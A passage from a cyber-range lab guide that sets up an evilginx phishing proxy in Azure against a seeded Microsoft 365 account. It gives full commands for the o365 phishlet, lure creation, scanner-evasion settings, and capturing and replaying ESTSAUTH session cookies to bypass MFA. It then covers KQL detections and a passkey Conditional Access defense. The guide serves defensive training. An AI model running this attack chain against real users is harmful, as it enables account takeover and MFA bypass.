  --size Standard_B1s --admin-username azureuser \
  --generate-ssh-keys --public-ip-sku Standard

# Open the ports evilginx needs
az vm open-port -g rg-cyberrange-attacker -n vm-evilginx \
  --port 22,53,80,443 --priority 100

# Print the public IP, then SSH in (keys land in ~/.ssh)
az vm show -d -g rg-cyberrange-attacker -n vm-evilginx --query publicIps -o tsv
ssh azureuser@<public-ip>
Keep it separate, and delete it after

Because this VM shares your subscription, Defender for Servers may onboard it too - harmless, just ignore any alerts on vm-evilginx. Keeping it in its own resource group means one command cleans it up when you're done: az group delete -n rg-cyberrange-attacker.

B.2 · Register a domain + wildcard A record

evilginx serves the fake login on a domain and uses it to obtain a TLS certificate, so you need one. Any cheap domain works - a few dollars, thrown away afterward.

Azure blocks inbound UDP 53 at the platform level

An NSG allow rule for port 53 is not enough — Azure's platform blocks UDP 53 upstream of the NSG, so NS delegation to the VM simply does not work. Do not configure evilginx to run its own DNS and do not delegate NS records to the VM. Use the registrar's own nameservers with a wildcard A record pointing at the VM IP.

  1. Register a low-cost domain at a registrar such as Cloudflare, Namecheap, or Porkbun (roughly $1-12/year). Choose a plain, forgettable name - not one that imitates a real company.
  2. In the registrar's DNS panel, add a wildcard A record: host *, value <VM-public-IP>. This covers every subdomain the phishlet needs (login, portal, account, www, etc.) in one record without requiring NS delegation.
  3. Give DNS a few minutes to propagate, then confirm from the VM: nslookup login.yourdomain.example 8.8.8.8 should return the VM IP.
B.3 · Install evilginx on the VM

Over SSH on the attacker VM, install the dependencies, free port 53, fix DNS resolution, and build evilginx from the official project. Copy-paste the block as-is — order matters.

on vm-evilginx (over SSH) - bash
# install build tools + tmux; free port 53 (Ubuntu's stub resolver holds it)
sudo apt update && sudo apt install -y git make golang-go tmux
sudo systemctl disable --now systemd-resolved

# IMPORTANT: disabling systemd-resolved breaks /etc/resolv.conf (it was a symlink)
# restore outbound DNS so the VM can still reach the internet
sudo rm -f /etc/resolv.conf
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
sudo ss -ulnp | grep :53   # should return no output; if it does, another process still holds 53

# download and build evilginx from the official repo
git clone https://github.com/kgretzky/evilginx2 && cd evilginx2
make

# start a persistent tmux session so evilginx keeps running if your SSH drops
tmux new -s evilginx

# inside tmux: launch evilginx (binary path from repo README)
sudo ~/evilginx2/build/evilginx -p ~/evilginx2/phishlets
tmux quick reference

Detach (leave running): Ctrl+B then D. Reattach later: tmux attach -t evilginx. New window: Ctrl+B then C. evilginx must stay running while it issues TLS certificates — if the process dies mid-challenge, Let's Encrypt may rate-limit that hostname for an hour.

B.4 · Configure the daemon, load the phishlet, mint the lure

You're now at the evilginx : prompt. Set the phishing domain and the VM's public IP, bind the Microsoft phishlet to your domain, enable it, and create a lure. Command names can shift between versions - check the project wiki if one is rejected.

config domain must be the apex domain

Set it to yourdomain.example — not login.yourdomain.example or any subdomain. evilginx derives the phishlet subdomains from this root; setting a subdomain here causes cert issuance to fail silently.

evilginx console
# replace the names with your own throwaway values
: config domain    yourdomain.example      # apex domain only - not a subdomain
: config ipv4      <VM-PUBLIC-IP>
: phishlets hostname o365   login.yourdomain.example
: phishlets enable o365            # 'o365' = the phishlet file you added; triggers TLS cert issuance
: lures create o365
: lures get-url 0                  # the single link you deliver
: config redirect_url https://www.microsoft.com   # non-lure visitors bounce away
: blacklist unauth                 # drop scanners quietly
Let's Encrypt rate limit

Running phishlets enable triggers an ACME HTTP-01 challenge. After 5 failed attempts on the same hostname, Let's Encrypt rate-limits that hostname for 1 hour. Before enabling, confirm nslookup login.yourdomain.example 8.8.8.8 returns your VM IP, and that port 80 is reachable on the VM.

Two settings keep the range quiet: the redirect URL sends anyone who hits the site without a valid lure token to a benign page, and the blacklist drops security scanners before they add noise. lures get-url prints the one link to deliver.

B.5 · Local test via /etc/hosts + cookie replay

You don't have to wait for external DNS to propagate. Use your test machine's /etc/hosts file to point the phishlet domains directly at the VM IP — the lure URL loads the real Microsoft sign-in through your proxy immediately. Then replay the stolen cookie from a different network to fire the detection.

Step 1 — Add the phishlet domains to /etc/hosts on your test machine

Linux / macOS → /etc/hosts
<VM-PUBLIC-IP>  login.yourdomain.example
<VM-PUBLIC-IP>  portal.yourdomain.example
<VM-PUBLIC-IP>  account.yourdomain.example
<VM-PUBLIC-IP>  www.yourdomain.example

Windows: open C:\Windows\System32\drivers\etc\hosts in Notepad (run as Administrator), add the same lines, save, then run ipconfig /flushdns in an elevated prompt. Check the phishlet's subdomain list in the YAML — add any additional hostnames listed there.

Step 2 — Drive a proxied sign-in through the lure URL

On the test machine (with /etc/hosts in place), open the lure URL from lures get-url 0 in a browser. You should see the real Microsoft sign-in page — served through your proxy. Sign in as the seeded target account.

MFA must be enforced by Conditional Access

If the test account has no MFA required by a CA policy, Microsoft skips the MFA step entirely. No post-MFA session cookie is issued, so there is nothing for evilginx to capture and nothing for the detection to fire on. Make sure the seeded account has MFA enforced before running this step — a simple CA policy requiring MFA for all apps is enough.

After signing in (password + MFA prompt), watch the evilginx console — the session appears in the session list.

Step 3 — Extract the cookie and replay it from a different IP

evilginx console — extract the captured session
: sessions              # list captured sessions and their IDs
: sessions <id>         # show full detail — copy ESTSAUTH and ESTSAUTHPERSISTENT values

Install the Cookie-Editor browser extension on a machine with a different public IP (a mobile hotspot, a home network, a second VM in a different region — anything that gives a different ASN than the attacker VM). Import the cookies as JSON:

Cookie-Editor — import as JSON
[
  { "name": "ESTSAUTH", "value": "<from-evilginx>",
    "domain": ".login.microsoftonline.com", "path": "/",
    "secure": true, "httpOnly": true },
  { "name": "ESTSAUTHPERSISTENT", "value": "<from-evilginx>",
    "domain": ".login.microsoftonline.com", "path": "/",
    "secure": true, "httpOnly": true }
]

Navigate to https://www.office.com. If the replay succeeds, you are signed in as the victim — no password, no MFA. That token replay from a new IP/ASN is what fires the detection.

The tell

Within a few minutes, a High-risk sign-in for aitm-target@ appears in Entra ID Protection, followed by an Attacker in the Middle or Anomalous Token risk detection raised by Defender for Cloud Apps. The cookie replay from a second IP also raises Stolen session cookie was used. These are the detections you trace through the unified portal and Sentinel below.

What lights up, and where

DetectionPlane / signalSevLicense
Attacker in the Middle attackerinTheMiddleID Protection, via Defender for Cloud Apps - session linked to a malicious reverse proxy; raises user to HighHighE5 + EMS E5
Anomalous Token anomalousTokenID Protection - unusual token lifetime / token played from an unfamiliar location (replay indicator)VarEntra ID P2
Unfamiliar sign-in properties unfamiliarFeaturesID Protection - new IP/ASN/device vs. the account's historyMed/HighEntra ID P2
Possible AiTM phishing attemptDefender XDR / MDCA alertHighMDCA connectors
Stolen session cookie was usedDefender XDR / MDCA - cookie replay (Edge sessions)HighMDCA connectors

Find them in entra.microsoft.comProtectionIdentity ProtectionRisky users / Risky sign-ins / Risk detections, correlated into an incident in the unified Defender portal, and queryable in Sentinel.

Hunt it in KQL

These are your detection-engineering queries - run them to confirm the signal and to build analytics rules on it.

Sentinel - risk detections on the target
AADUserRiskEvents
| where TimeGenerated > ago(24h)
| where UserPrincipalName == "aitm-target@yourlab.com"
| where RiskEventType in ("attackerinTheMiddle","anomalousToken","unfamiliarFeatures")
| project TimeGenerated, RiskEventType, RiskLevel, IpAddress, DetectionTimingType, Activity
| sort by TimeGenerated desc
Defender portal - Advanced hunting: one session token, many IPs
AADSignInEventsBeta
| where Timestamp > ago(24h)
| where AccountUpn == "aitm-target@yourlab.com"
| where isnotempty(SessionId)
| summarize IPs = make_set(IPAddress), Countries = make_set(Country),
            Apps = make_set(Application) by SessionId
| where array_length(IPs) > 1   // same token from >1 IP => replay
Phase 07 · gate
08
Defend

The passkey defense - a Conditional Access policy that kills AiTM

Objective: enable passkeys, build a Conditional Access policy that requires phishing-resistant MFA strength, then re-run Phase 07 and watch the same attack fail - because a passkey can't be proxied.

Passkeys defeat this attack at the cryptographic level. Ordinary MFA is phishable because the second factor is relayed through the proxy. A passkey (FIDO2) is different: the credential is cryptographically bound to the real sign-in origin (the WebAuthn relying-party ID). Present that same login through an attacker's domain and the browser refuses to release an assertion - there is nothing for the proxy to relay. Step 2 of the diagram above disappears.

Step 1 - Enable passkeys (FIDO2)

  1. entra.microsoft.comEntra IDSecurityAuthentication methodsPoliciesPasskey (FIDO2). (Role: Authentication Policy Administrator.)
  2. Enable and targetOn → target your pilot group (include aitm-target@) → Save.
  3. For a lab, keep attestation off so synced passkeys / Microsoft Authenticator passkeys register cleanly. Users must complete MFA within the last 5 minutes before registering.
  4. Register a passkey on the target account at aka.ms/mysecurityinfo.

Step 2 - Build the Conditional Access policy

Portal path
  1. Entra IDConditional AccessPoliciesNew policy. Name it CR-Require-PhishingResistant-MFA.
  2. Assignments → Users: include your pilot group / aitm-target@; Exclude the two break-glass accounts.
  3. Target resources → Resources: All resources.
  4. GrantRequire authentication strengthPhishing-resistant MFA strengthSelect.
  5. Set Enable policy to Report-only, review sign-in-log impact, then flip to On.
Graph / IaC path

CA policies deploy through Microsoft Graph. The built-in Phishing-resistant MFA authentication strength has the well-known id 00000000-0000-0000-0000-000000000004. Start in report-only, then PATCH to enabled.

POST /identity/conditionalAccess/policies
{
  "displayName": "CR-Require-PhishingResistant-MFA",
  "state": "enabledForReportingButNotEnforced",
  "conditions": {
    "users": {
      "includeGroups": ["<pilot-group-id>"],
      "excludeUsers": ["<breakglass-1>","<breakglass-2>"]
    },
    "applications": { "includeApplications": ["All"] }
  },
  "grantControls": {
    "operator": "OR",
    "builtInControls": [],
    "authenticationStrength": {
      "id": "00000000-0000-0000-0000-000000000004"
    }
  }
}
One grant control, not two

You can't combine Require MFA and Require authentication strength in the same policy - the built-in MFA strength already is the MFA grant. Use authentication strength alone. And remember: authentication strength is evaluated after primary auth, so a password prompt can still appear - the user just can't finish without the phishing-resistant method.

Step 3 - Prove it: re-run the attack

Point the Phase 07 AiTM flow at the now-passkey-protected aitm-target@. The proxy can relay a password, but the passkey assertion is bound to the legitimate origin and won't validate through the attacker's domain - no token is issued, no session to steal. The sign-in fails at the strength gate. Compare the before/after in the sign-in logs: same lure, same proxy, and now a blocked sign-in instead of a High-risk detection.

Layer the defense

Add a risk-based CA policy (sign-in risk High/Medium → require phishing-resistant strength + sign-in frequency Every time), a policy to block high-risk users, and consider Conditional Access token protection to bind tokens to device hardware - the next move once credentials can't be phished is to go after tokens directly.

Phase 08 · gate
Reference

Detection-to-control matrix, teardown & sources

Detection → control matrix

The whole range in one table - what you generated, and what shuts it down.

Attack behaviorDetection surfaceControl that defeats it
AiTM token theftID Protection: Attacker in the Middle, Anomalous TokenPhishing-resistant MFA strength (passkey CAP)
Credential phishingMDO / Attack Simulation TrainingPhishing-resistant auth + user training
Endpoint malware / LOLBinsDefender for Endpoint EDR (clients + servers)ASR rules, automated investigation & response
Server-side compromiseDefender for Servers alerts → Defender XDRJust-in-time access, MCSB hardening
Token replay after phishingSentinel KQL / risky sign-insRisk-based CAP + token protection

Teardown & cost

The estate bills while it runs - Defender for Servers is per-VM-hour and the six VMs add up. Between workshops, deallocate the VMs (they stop billing compute) or delete the whole resource group. Because everything is scoped to rg-cyberrange-prod-cus, cleanup is one command:

teardown - bash
# pause between sessions (keeps config, stops compute billing)
az vm deallocate --ids $(az vm list -g rg-cyberrange-prod-cus --query "[].id" -o tsv)

# full teardown
az group delete -n rg-cyberrange-prod-cus --yes --no-wait
Deleting the RG isn't everything

Tenant-level config - Defender for Servers plan state, the Intune/CAP/auth-method policies, the Sentinel-to-Defender connection - lives outside the resource group and persists. Disable the Defender plan and retire the seeded account and AiTM infra separately.

Primary sources (Microsoft Learn)

A workshop-grade Microsoft cyber range - build it, attack it, defend it. Every step is written for someone doing this for the first time, with both a portal path and a Bicep path, and is verified against Microsoft Learn. Product portals you'll use: portal.azure.com · security.microsoft.com · entra.microsoft.com · intune.microsoft.com. Run the offensive phases only in an isolated tenant, against accounts you own.